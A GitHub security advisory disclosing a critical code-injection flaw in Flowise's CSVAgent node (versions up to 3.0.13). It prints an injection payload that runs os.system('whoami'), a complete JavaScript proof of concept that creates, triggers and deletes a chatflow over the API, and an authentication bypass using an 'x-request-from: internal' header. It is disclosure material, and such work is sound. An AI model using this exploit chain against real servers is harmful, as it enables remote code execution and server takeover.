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Flowise: Code Injection in CSVAgent leads to Authenticated RCE

Critical severity GitHub Reviewed Published Apr 15, 2026 in FlowiseAI/Flowise • Updated Apr 16, 2026

Package

npm flowise (npm)

Affected versions

<= 3.0.13

Patched versions

3.1.0
npm flowise-components (npm)
<= 3.0.13
3.1.0

Description

Summary

The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: DataFrame({'foo': ['bar!']});import os;os.system('whoami') that will get interpolated and executed by the server.

Details

The code in question that introduces the issue is in CSVAgent.ts.
customReadCSVFunc is user-controlled and gets interpolated directly without sanitization into the code variable which gets executed by pyodide one line later in: dataframeColDict = await pyodide.runPythonAsync(code).
An authenticated attacker can issue the following chain of requests:

  1. Create a new chat flow by sending a POST request to /api/v1/chatflows. This will return the chatflowId in the response.
  2. Send a POST request to /api/v1/prediction/[CHATFLOWID] to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work.
  3. Optionally: send a DELETE request to /api/v1/chatflows to cleanup and delete the chat flow.

Since /chatflows is not whitelisted here, this mandates the user to be authenticated. But, if FLOWISE_USERNAME and FLOWISE_PQSSWORD aren't set, it's sufficient to provide the "x-request-from": "internal" header to bypass authentication.

PoC

Here's the PoC code:

const PORT = 3000;
const FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`;
const PREDICTION_URL = '/api/v1/prediction';
const CHATFLOWS_URL = '/api/v1/chatflows';

const flowData = JSON.parse("{\"nodes\":[{\"id\":\"csvAgent_0\",\"position\":{\"x\":681,\"y\":212},\"type\":\"customNode\",\"data\":{\"label\":\"CSV Agent\",\"name\":\"csvAgent\",\"version\":3,\"type\":\"AgentExecutor\",\"category\":\"Agents\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\",\"description\":\"Agent used to answer queries on CSV data\",\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"inputs\":{\"csvFile\":\"\",\"model\":\"{{openAI_0.data.instance}}\",\"systemMessagePrompt\":\"\",\"inputModeration\":\"\",\"customReadCSV\":\"DataFrame({'foo': ['bar!']});import os;os.system('whoami');\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\",\"inputAnchors\":[{\"label\":\"Language Model\",\"name\":\"model\",\"type\":\"BaseLanguageModel\",\"id\":\"csvAgent_0-input-model-BaseLanguageModel\"},{\"label\":\"Input Moderation\",\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"name\":\"inputModeration\",\"type\":\"Moderation\",\"optional\":true,\"list\":true,\"id\":\"csvAgent_0-input-inputModeration-Moderation\"}],\"inputParams\":[{\"label\":\"Csv File\",\"name\":\"csvFile\",\"type\":\"file\",\"fileType\":\".csv\",\"id\":\"csvAgent_0-input-csvFile-file\"},{\"label\":\"System Message\",\"name\":\"systemMessagePrompt\",\"type\":\"string\",\"rows\":4,\"additionalParams\":true,\"optional\":true,\"placeholder\":\"I want you to act as a document that I am having a conversation with. Your name is \\\"AI Assistant\\\". You will provide me with answers from the given info. If the answer is not included, say exactly \\\"Hmm, I am not sure.\\\" and stop after that. Refuse to answer any question not about the info. Never break character.\",\"id\":\"csvAgent_0-input-systemMessagePrompt-string\"},{\"label\":\"Custom Pandas Read_CSV Code\",\"description\":\"Custom Pandas <a target=\\\"_blank\\\" href=\\\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\\\">read_csv</a> function. Takes in an input: \\\"csv_data\\\"\",\"name\":\"customReadCSV\",\"default\":\"read_csv(csv_data)\",\"type\":\"code\",\"optional\":true,\"additionalParams\":true,\"id\":\"csvAgent_0-input-customReadCSV-code\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"csvAgent_0-output-csvAgent-AgentExecutor|BaseChain|Runnable\",\"name\":\"csvAgent\",\"label\":\"AgentExecutor\",\"description\":\"Agent used to answer queries on CSV data\",\"type\":\"AgentExecutor | BaseChain | Runnable\"}],\"id\":\"csvAgent_0\",\"selected\":false},\"width\":300,\"height\":464,\"selected\":true,\"dragging\":false,\"positionAbsolute\":{\"x\":681,\"y\":212}},{\"id\":\"openAI_0\",\"position\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"type\":\"customNode\",\"data\":{\"loadMethods\":{},\"label\":\"OpenAI\",\"name\":\"openAI\",\"version\":4,\"type\":\"OpenAI\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg\",\"category\":\"LLMs\",\"description\":\"Wrapper around OpenAI large language models\",\"baseClasses\":[\"OpenAI\",\"BaseLLM\",\"BaseLanguageModel\",\"Runnable\"],\"credential\":\"\",\"inputs\":{\"cache\":\"\",\"modelName\":\"gpt-3.5-turbo-instruct\",\"temperature\":0.7,\"maxTokens\":\"\",\"topP\":\"\",\"bestOf\":\"\",\"frequencyPenalty\":\"\",\"presencePenalty\":\"\",\"batchSize\":\"\",\"timeout\":\"\",\"basepath\":\"\",\"baseOptions\":\"\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js\",\"inputAnchors\":[{\"label\":\"Cache\",\"name\":\"cache\",\"type\":\"BaseCache\",\"optional\":true,\"id\":\"openAI_0-input-cache-BaseCache\"}],\"inputParams\":[{\"label\":\"Connect Credential\",\"name\":\"credential\",\"type\":\"credential\",\"credentialNames\":[\"openAIApi\"],\"id\":\"openAI_0-input-credential-credential\"},{\"label\":\"Model Name\",\"name\":\"modelName\",\"type\":\"asyncOptions\",\"loadMethod\":\"listModels\",\"default\":\"gpt-3.5-turbo-instruct\",\"id\":\"openAI_0-input-modelName-asyncOptions\"},{\"label\":\"Temperature\",\"name\":\"temperature\",\"type\":\"number\",\"step\":0.1,\"default\":0.7,\"optional\":true,\"id\":\"openAI_0-input-temperature-number\"},{\"label\":\"Max Tokens\",\"name\":\"maxTokens\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-maxTokens-number\"},{\"label\":\"Top Probability\",\"name\":\"topP\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-topP-number\"},{\"label\":\"Best Of\",\"name\":\"bestOf\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-bestOf-number\"},{\"label\":\"Frequency Penalty\",\"name\":\"frequencyPenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-frequencyPenalty-number\"},{\"label\":\"Presence Penalty\",\"name\":\"presencePenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-presencePenalty-number\"},{\"label\":\"Batch Size\",\"name\":\"batchSize\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-batchSize-number\"},{\"label\":\"Timeout\",\"name\":\"timeout\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-timeout-number\"},{\"label\":\"BasePath\",\"name\":\"basepath\",\"type\":\"string\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-basepath-string\"},{\"label\":\"BaseOptions\",\"name\":\"baseOptions\",\"type\":\"json\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-baseOptions-json\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"name\":\"openAI\",\"label\":\"OpenAI\",\"description\":\"Wrapper around OpenAI large language models\",\"type\":\"OpenAI | BaseLLM | BaseLanguageModel | Runnable\"}],\"id\":\"openAI_0\",\"selected\":false},\"width\":300,\"height\":574,\"selected\":false,\"positionAbsolute\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"dragging\":false}],\"edges\":[{\"source\":\"openAI_0\",\"sourceHandle\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"target\":\"csvAgent_0\",\"targetHandle\":\"csvAgent_0-input-model-BaseLanguageModel\",\"type\":\"buttonedge\",\"id\":\"openAI_0-openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent_0-csvAgent_0-input-model-BaseLanguageModel\"}],\"viewport\":{\"x\":73.92828909845196,\"y\":-4.475777844396191,\"zoom\":0.7371346086455504}}");
const payload = {"name":"CSV PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATFLOW"};

// Create chatflow.
let res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "Authorization": "Bearer <your-api-key>"
        //Alternative: "x-request-from": "internal"
    },
    body: JSON.stringify(payload)
});

let resJson = await res.json();
let chatflowId = resJson?.id;

// Trigger vuln.
await fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, {
    method: "POST",
    headers: {
        "Content-Type": "application/json"
    },
    body: JSON.stringify({"question": "whoami?"})
});

// Cleanup.
await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}`, {
    method: "DELETE",
    headers: {
        "Content-Type": "application/json",
        "Authorization": "Bearer <your-api-key>"
        //Alternative: "x-request-from": "internal"
    }
});

Impact

This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.

References

@igor-magun-wd igor-magun-wd published to FlowiseAI/Flowise Apr 15, 2026
Published to the GitHub Advisory Database Apr 16, 2026
Reviewed Apr 16, 2026
Last updated Apr 16, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS score

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-9wc7-mj3f-74xv

Source code

Credits

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